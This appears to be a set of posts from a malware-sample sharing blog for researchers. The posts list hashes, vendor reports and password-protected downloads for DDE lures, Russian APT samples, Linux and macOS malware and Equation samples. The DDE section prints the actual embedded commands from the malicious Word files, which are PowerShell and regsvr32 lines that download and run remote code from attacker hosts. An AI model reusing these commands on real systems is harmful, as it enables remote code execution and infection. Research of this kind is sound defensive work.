Rootkit Umbreon / Umreon - x86, ARM samples

Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems
Research: Trend Micro


There are two packages
one is 'found in the wild' full and a set of hashes from Trend Micro (all but one file are already in the full package)

DDE Command Execution malware samples

Here are a few samples related to the recent DDE Command execution






Reading:
10/18/2017 InQuest/yara-rules 
10/18/2017 https://twitter.com/i/moments/918126999738175489 

10/18/2017 Inquest: Microsoft Office DDE Macro-less Command Execution Vulnerability

10/18/2017 Inquest: Microsoft Office DDE Vortex Ransomware Targeting Poland

10/16/2017 https://twitter.com/noottrak/status/919975081828261888

10/14/2017 Inquest: Microsoft Office DDE Freddie Mac Targeted Lure 

10/14/2017 Inquest: Microsoft Office DDE SEC OMB Approval Lure

10/12/2017 NViso labs: YARA DDE rules: DDE Command Execution observed in-the-wild 

10/11/2017 Talos:Spoofed SEC Emails Distribute Evolved DNSMessenger 

10/10/2017  NViso labs: MS Office DDE YARA rules

10/09/2017 Sensepost: Macro-less Code Exec in MSWord

Download

 Download. Email me if you need the password  (updated sample pack)

File information

List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload 
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 

File details with MD5 hashes:

Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")


7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d  Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a


9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460


10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450


Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
 4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe  Poland payload
09d71f068d2bbca9fac090bde74e762b

Part II. APT29 Russian APT including Fancy Bear

This is the second part of Russian APT series.

"APT29 - The Dukes Cozy Bear: APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008.1210 This group reportedly compromised the Democratic National Committee starting in the summer of 2015" (src.  Mitre ATT&CK)

Please see the first post here: Russian APT - APT28 collection of samples including OSX XAgent




I highly recommend reading and studying these resources first:

1. Mitre ATT&CK
2. 2017-03 Disinformation. A Primer In Russian Active Measures And Influence Campaigns. Hearings before the   Select Committee on Intelligence, March 2017
3. 2014-08 Mikko Hipponen. Governments as Malware Authors. Presentation ppt.
4. 2016. No Easy Breach: Challenges and Lessons from an Epic Investigation. Mandiant. Matthew Dunwoody, Nick Carr. Video
5. Beyond ‘Cyber War’: Russia’s Use of Strategic Cyber Espionage and Information Operations in Ukraine. NATO Cooperative Cyber Defence Centre of Excellence/ Fireeye - Jen Weedon

List of References (and samples mentioned) listed from oldest to newest:

1. 2012-02 FSecure. COZYDUKE
2. 2013-02_Crysys_Miniduke Indicators
3. 2013-04_Bitdefender_A Closer Look at MiniDuke
4. 2014-04 FSecure_Targeted Attacks and Ukraine
5. 2014-05_FSecure.Miniduke still duking it out
6. 2014-07_Kaspersky_Miniduke is back_Nemesis Gemina and the Botgen Studio
7. 2014-07_Kaspersky_The MiniDuke Mystery PDF 0-day
8. 2014-11_FSecure_OnionDuke APT Attacks Via the Tor Network
9. 2014_FSecure_Cosmicduke Cosmu with a twist of MiniDuke
10. 2015-04_Kaspersky_CozyDuke-CozyBear
11. 2015-07_FSecure_Duke APT Groups Latest Tools Cloud Services and Linux Support
12. 2015-07_Fireeye_Hammertoss_Stealthy_tactics_define_Russian_Cyber
13. 2015-07_Kaspersky_Minidionis one more APT with a usage of cloud drives
14. 2015-07_PaloAlto_Tracking_MiniDionis
15. 2015-07_Palo_Alto_Unit 42 Technical Analysis Seaduke
16. 2015-07_Symantec_Seaduke latest weapon in the Duke armory
17. 2015-08_Prevenity Stealing data from public institutions
18. 2015-09_FSecure_THE DUKES7 years of Russian cyberespionage
19. 2016-06_Crowdstrike_Bears in the Midst Intrusion into the Democratic National Committee
20. 2016-11_Volexity_PowerDukePostElection
21. 2016-12_Chris_Grizzly SteppeLighting up Like A Christmas Tree
22. 2017-03 Fireeye APT29 Domain Fronting With TOR
23. Fancy Bear source code 

Download

Download sets (matching research listed above). Email me if you need the password
          Download all files/folders listed (MB)

DeepEnd Research: Analysis of Trump's secret server story

 We posted our take on the Trump's server story. If you have any feedback or corrections, send me an email (see my blog profile on Contagio or DeepEnd Research)

Analysis of Trump's secret server story...

Part I. Russian APT - APT28 collection of samples including OSX XAgent

 This post is for all of you, Russian malware lovers/haters. Analyze it all to your heart's content. Prove or disprove Russian hacking in general or DNC hacking in particular, or find that "400 lb hacker" or  nail another country altogether.  You can also have fun and exercise your malware analysis skills without any political agenda.

The post contains malware samples analyzed in the APT28 reports linked below. I will post APT29 and others later.

Read about groups and types of targeted threats here: Mitre ATT&CK

List of References (and samples mentioned) listed from oldest to newest:

1. APT28_2011-09_Telus_Trojan.Win32.Sofacy.A
2. APT28_2014-08_MhtMS12-27_Prevenity
3. APT28_2014-10_Fireeye_A_Window_into_Russia_Cyber_Esp.Operations
4. APT28_2014-10_Telus_Coreshell.A
5. APT28_2014-10_TrendMicro Operation Pawn Storm. Using Decoys to Evade Detection
6. APT28_2015-07_Digital Attack on German Parliament
7. APT28_2015-07_ESET_Sednit_meet_Hacking
8. APT28_2015-07_Telus_Trojan-Downloader.Win32.Sofacy.B
9. APT28_2015-09_Root9_APT28_Technical_Followup
10. APT28_2015-09_SFecure_Sofacy-recycles-carberp-and-metasploit-code
11. APT28_2015-10_New Adobe Flash Zero-Day Used in Pawn Storm
12. APT28_2015-10_Root9_APT28_targets Financial Markets
13. APT28_2015-12_Bitdefender_In-depth_analysis_of_APT28–The_Political_Cyber-Espionage
14. APT28_2015-12_Kaspersky_Sofacy APT hits high profile targets
15. APT28_2015_06_Microsoft_Security_Intelligence_Report_V19
16. APT28_2016-02_PaloAlto_Fysbis Sofacy Linux Backdoor
17. APT29_2016-06_Crowdstrike_Bears in the Midst Intrusion into the Democratic National Committee << DNC (NOTE: this is APT29)
18. APT28_2016-07_Invincea_Tunnel of Gov DNC Hack and the Russian XTunnel
19. APT28_2016-10_ESET_Observing the Comings and Goings
20. APT28_2016-10_ESET_Sednit A Mysterious Downloader
21. APT28_2016-10_ESET_Sednit Approaching the Target
22. APT28_2016-10_Sekoia_Rootkit analysisUse case on HideDRV
23. APT28_2017-02_Bitdefender_OSX_XAgent  << OSX XAgent

Download

Download sets (matching research listed above). Email me if you need the password
          Download all files/folders listed (72MB)

Sample list

Linux.Agent malware sample - data stealer

Research: SentinelOne, Tim Strazzere Hiding in plain sight?
Sample credit: Tim Strazzere


List of files

9f7ead4a7e9412225be540c30e04bf98dbd69f62b8910877f0f33057ca153b65  malware
d507119f6684c2d978129542f632346774fa2e96cf76fa77f377d130463e9c2c  malware
fddb36800fbd0a9c9bfffb22ce7eacbccecd1c26b0d3fb3560da5e9ed97ec14c  script.decompiled-pretty
ec5d4f90c91273b3794814be6b6257523d5300c28a492093e4fa1743291858dc  script.decompiled-raw
4d46893167464852455fce9829d4f9fcf3cce171c6f1a9c70ee133f225444d37  script.dumped

malware_a3dad000efa7d14c236c8018ad110144
malware fcbfb234b912c84e052a4a393c516c78
script.decompiled-pretty aab8ea012eafddabcdeee115ecc0e9b5
script.decompiled-raw ae0ea319de60dae6d3e0e58265e0cfcc
script.dumped b30df2e63bd4f35a32f9ea9b23a6f9e7

Download

Download. Email me if you need the password

"i am lady" Linux.Lady trojan samples

Bitcoin mining malware for Linux servers - samples
Research: Dr. Web. Linux.Lady

Sample Credit:  Tim Strazzere

MD5 list:

0DE8BCA756744F7F2BDB732E3267C3F4
55952F4F41A184503C467141B6171BA7
86AC68E5B09D1C4B157193BB6CB34007
E2CACA9626ED93C3D137FDF494FDAE7C
E9423E072AD5A31A80A31FC1F525D614



Download. Email me if you need the password.

Ransomware.OSX.KeRanger samples

Research: New OS X Ransomware KeRanger Infected Transmission BitTorrent Client Installer by Claud Xiao

Sample credit: Claud Xiao

File information

d1ac55a4e610380f0ab239fcc1c5f5a42722e8ee1554cba8074bbae4a5f6dbe1 
1d6297e2427f1d00a5b355d6d50809cb 
Transmission-2.90.dmg

e3ad733cea9eba29e86610050c1a15592e6c77820927b9edeb77310975393574 
56b1d956112b0b7bd3e44f20cf1f2c19 
Transmission

31b6adb633cff2a0f34cefd2a218097f3a9a8176c9363cc70fe41fe02af810b9
14a4df1df622562b3bf5bc9a94e6a783 
General.rtf

d7d765b1ddd235a57a2d13bd065f293a7469594c7e13ea7700e55501206a09b5 
24a8f01cfdc4228b4fc9bb87fedf6eb7 
Transmission2.90.dmg

ddc3dbee2a8ea9d8ed93f0843400653a89350612f2914868485476a847c6484a
3151d9a085d14508fa9f10d48afc7016 
Transmission

6061a554f5997a43c91f49f8aaf40c80a3f547fc6187bee57cd5573641fcf153 
861c3da2bbce6c09eda2709c8994f34c 
General.rtf

Download

Download. Email me if you need the password (New link)

Files download information

After 7 years of Contagio existence, Google Safe Browsing services notified Mediafire (hoster of Contagio and Contagiominidump files) that "harmful" content is hosted on my Mediafire account.

It is harmful only if you harm your own pc and but not suitable for distribution or infecting unsuspecting users but I have not been able to resolve this with Google and Mediafire.

Mediafire suspended public access to Contagio account.

The file hosting will be moved.

If you need any files now, email me the posted Mediafire links (address in profile) and I will pull out the files and share via other methods.

P.S. I have not been able to resolve "yet" because it just happened today, not because they refuse to help.  I don't want to affect Mediafire safety reputation and most likely will have to move out this time.

The main challenge is not to find hosting, it is not difficult and I can pay for it, but the effort move all files and fix the existing links on the Blogpost, and there are many. I planned to move out long time ago but did not have time for it. If anyone can suggest how to change all Blogspot links in bulk, I will be happy.


P.P.S. Feb. 24 - The files will be moved to a Dropbox Business account and shared from there (Dropbox team confirmed they can host it )  

The transition will take some time, so email me links to what you need. 

Thank you all
M

Potao Express samples

http://www.welivesecurity.com/2015/07/30/operation-potao-express/

http://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf

TL; DR

2011- July 2015

• Aka  Sapotao and node69
• Group - Sandworm / Quedagh APT
• Vectors - USB, exe as doc, xls
• Victims - RU, BY, AM, GE 
• Victims - MMM group, UA gov
• truecryptrussia.ru has been serving modified versions of the encryption software (Win32/FakeTC) that included a backdoor to selected targets. 
• Win32/FakeTC - data theft from encrypted drives
• The Potao main DLL only takes care of its core functionality; the actual spying functions are implemented in the form of downloadable modules. The plugins are downloaded each time the malware starts, since they aren’t stored on the hard drive.

• 1st Full Plugin and its export function is called Plug. Full plugins run continuously until the infected system is restarted

• 2nd Light Plugin with an export function Scan. Light plugins terminate immediately after returning a buffer with the information they harvested off the victim’s machine.

• Some of the plugins were signed with a certificate issued to “Grandtorg”:
• Traffic 

• Strong encryption. The data sent is encapsulated using the XML-RPC protocol.

• MethodName value 10a7d030-1a61-11e3-beea-001c42e2a08b is always present in Potao traffic.

• After receiving the request the C&C server generates an RSA-2048 public key and signs this generated key with another, static RSA-2048 private key .

• In 2nd stage the malware generates a symmetric AES-256 key. This AES session key is encrypted with the newly received RSA-2048 public key and sent to the C&C server.

• The actual data exchange after the key exchange is then encrypted using symmetric cryptography, which is faster, with the AES-256 key

• The Potao malware sends an encrypted request to the server with computer ID, campaign ID, OS version, version of malware, computer name, current privileges, OS architecture (64 or 32bits) and also the name of the current process.

• Potao USB - uses social engineering, exe in the root disguised as drive icon
• Potao Anti RE -  uses the MurmurHash2 algorithm for computing the hashes of the API function names.
• Potao Anti RE - encryption of strings
• Russian TrueCrypt Win32/FakeTC - The malicious program code within the otherwise functional TrueCrypt software runs in its own thread. This thread, created at the end of the Mount function, enumerates files on the mounted encrypted drive, and if certain conditions are met, it connects to the C&C server, ready to execute commands from the attackers.
• IOC https://github.com/eset/malware-ioc/tree/master/potao

An Overview of Exploit Packs (Update 25) May 2015

Update May 12, 2015

Added CVE-2015-0359 and updates for CVE-2015-0336

 Exploit kit table 2014- 2015 (Sortable HTML table)

Reference table : Exploit References 2014-2015

Ask and you shall receive

I get emails from readers asking for specific malware samples and thought I would make a mini post about it.

Yes, I often obtain samples from various sources for my own research.

 I am sometimes too lazy/busy to post them but don't mind sharing.
If you are looking for a particular sample, feel free to ask. I might have it.

Send MD5 (several or few samples). I cannot provide hundreds/thousands of samples or any kind of feeds. If you ask for a particular family, I might be able to help if I already have it.

Unfortunately, I do not have time to do homework for students and provide very specific sets for malware with specific features as well as guarantee the C2s are still active.  Send your MD5(s) or at least malware family and I check if I have it :) If i have it, I will either send you or will post on the blog where you can download.

If you emailed me in the past and never got an answer, please remind me. Sometimes emails are long with many questions and I flag them to reply to later, when I have time and they get buried or I forget. It does not happen very often but accept my apologies if it happened to you.

Before you ask, check if it is already available via Contagio or Contagio Mobile.
1. Search the blog using the search box on the right side
2. Search here https://www.mediafire.com/folder/b8xxm22zrrqm4/BADINFECT
3. Search here https://www.mediafire.com/folder/c2az029ch6cke/TRAFFIC_PATTERNS_COLLECTION
4. Search here https://www.mediafire.com/folder/78npy8h7h0g9y/MOBILEMALWARE

Cheers,  Mila

Collection of Pcap files from malware analysis

Update: Feb 19. 2015

We have been adding pcaps to the collection so remember to check out the folder ( Pcap collection) for the recent pcaps.

I had a project to test some malicious and exploit pcaps and collected a lot of them (almost 1000) from various public sources. You can see them in the PUBLIC folder. The credits go to the authors of the pcaps listed in the name of each file. Please visit their blogs and sites to see more information about the pcaps, see their recent posts, and send them thanks. The public pcaps have no passwords on them.

Equation samples - from the Kaspersky Report and additional

Here are a few samples from the report by Kaspersky Lab "Equation: The Death Star of Malware Galaxy" and additional samples of the same family. The full list is below




Download all the samples listed below. Email me if you need the password (New link)

List of files

Files from the report:

File Name	MD5	Size
_SD_IP_CF.dll_03718676311DE33DD0B8F4F18CFFD488	03718676311de33dd0b8f4f18cffd488	368 KB
Disk from Houston_6FE6C03B938580EBF9B82F3B9CD4C4AA	6fe6c03b938580ebf9b82f3b9cd4c4aa	61 KB
DoubleFantasy_2A12630FF976BA0994143CA93FECD17F	2a12630ff976ba0994143ca93fecd17f	216 KB
EquationDrug_4556CE5EB007AF1DE5BD3B457F0B216D	4556ce5eb007af1de5bd3b457f0b216d	372 KB
EquationLaser_752AF597E6D9FD70396ACCC0B9013DBE	752af597e6d9fd70396accc0b9013dbe	130 KB
Fanny_0A209AC0DE4AC033F31D6BA9191A8F7A	0a209ac0de4ac033f31d6ba9191a8f7a	180 KB
GrayFish_9B1CA66AAB784DC5F1DFE635D8F8A904	9b1ca66aab784dc5f1dfe635d8f8a904	560 KB
GROK_24A6EC8EBF9C0867ED1C097F4A653B8D	24a6ec8ebf9c0867ed1c097f4a653b8d	160 KB
nls_933w.dll_11FB08B9126CDB4668B3F5135CF7A6C5	11fb08b9126cdb4668b3f5135cf7a6c5	208 KB
TripleFantasy_9180D5AFFE1E5DF0717D7385E7F54386	9180d5affe1e5df0717d7385e7f54386	18 KB
TripleFantasy_BA39212C5B58B97BFC9F5BC431170827	ba39212c5b58b97bfc9f5bc431170827	199 KB

Additional Files:

Video archives of security conferences and workshops

Just some links for your enjoyment

List of security conferences in 2014

Video archives:

AlienSpy Java RAT samples and traffic information

AlienSpy Java based cross platform RAT is another reincarnation of ever popular Unrecom/Adwind and Frutas RATs that have been circulating through 2014.

It appears to be used in the same campaigns as was Unrccom/Adwind - see the references. If C2 responds, the java RAT downloads Jar files containing Windows Pony/Ponik loader. The RAT is crossplatform and installs and beacons from OSX and Linux as well. However, it did not download any additional malware while running on OSX and Linux.

The samples, pcaps, and traffic protocol information  are available below.

OnionDuke samples

Research:  F-Secure: OnionDuke: APT Attacks Via the Tor Network

Download

Download. Email me if you need the password (new link)

File attributes

Size: 219136

MD5:  28F96A57FA5FF663926E9BAD51A1D0CB

Size: 126464

MD5:  C8EB6040FD02D77660D19057A38FF769

Size: 316928

MD5:  D1CE79089578DA2D41F1AD901F7B1014

Wirelurker for OSX, iOS (Part I) and Windows (Part II) samples

PART II

Wirelurker for Windows (WinLurker)

Research: Palo Alto Claud Xiao: Wirelurker for Windows

Sample credit: Claud Xiao

PART I

Research: Palo Alto Claud Xiao WIRELURKER: A New Era in iOS and OS X Malware

Palo Alto |Claud Xiao - blog post Wirelurker

Wirelurker Detector https://github.com/PaloAltoNetworks-BD/WireLurkerDetector

Sample credit: Claud Xiao

Download

Download Part I
Download Part II

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ShellShock payload sample Linux.Bashlet

Someone kindly shared their sample of the shellshock malware described by the Malware Must die group - you can read their analysis here:

MMD-0027-2014 - Linux ELF bash 0day (shellshock): The fun has only just begun...

Download

Download. Email me if you need the password

CZ Solution Ltd. signed samples of Xtreme Rat, Zeus, Spy-Net, Gh0st, BozokRAT and other

Here are all samples (+ more) mentioned in this post by Fireeye : The Little Signature That Could: The Curious Case of CZ Solution"
All files are digitally signed with a "CZ Solutions" certificate making it easy to create a Yara or ClamAV signature.

A few Zeus samples seem to be still beaconing. Most are sinkholed.
The certificate is now revoked by VeriSign.

Enjoy

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Download. Email me if you need the password (new link)